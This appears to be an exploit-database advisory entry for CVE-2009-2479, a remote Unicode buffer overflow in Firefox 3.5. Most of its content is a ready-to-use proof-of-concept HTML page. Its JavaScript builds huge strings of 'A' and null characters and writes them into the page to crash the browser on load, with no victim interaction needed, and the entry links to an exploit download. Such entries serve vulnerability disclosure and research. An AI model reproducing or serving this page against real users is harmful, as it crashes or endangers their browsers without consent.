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Topic :

Mozilla Firefox 3.5 unicode Remote Buffer Overflow PoC

SecurityAlert : 6082

CVE : CVE-2009-2479

CWE : CWE-119

SecurityRisk : High Security Risk High

(About)

Remote Exploit : Yes

Local Exploit : No

Victim interaction required : No

Exploit Available : Yes

ExploitAlert :

6622

Credit : Andrew Haynes and Simon Berry-Byrne

Published : 17.07.2009

Affected Software :

Mozilla Firefox 3.5

Advisory Content :

------------------------------------------->
Firefox 3.5 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne

------------------------------------------->

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);

document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

References :

http://securityreason.com/expldownload/1/6622/1 (Exploit)

Feedback :

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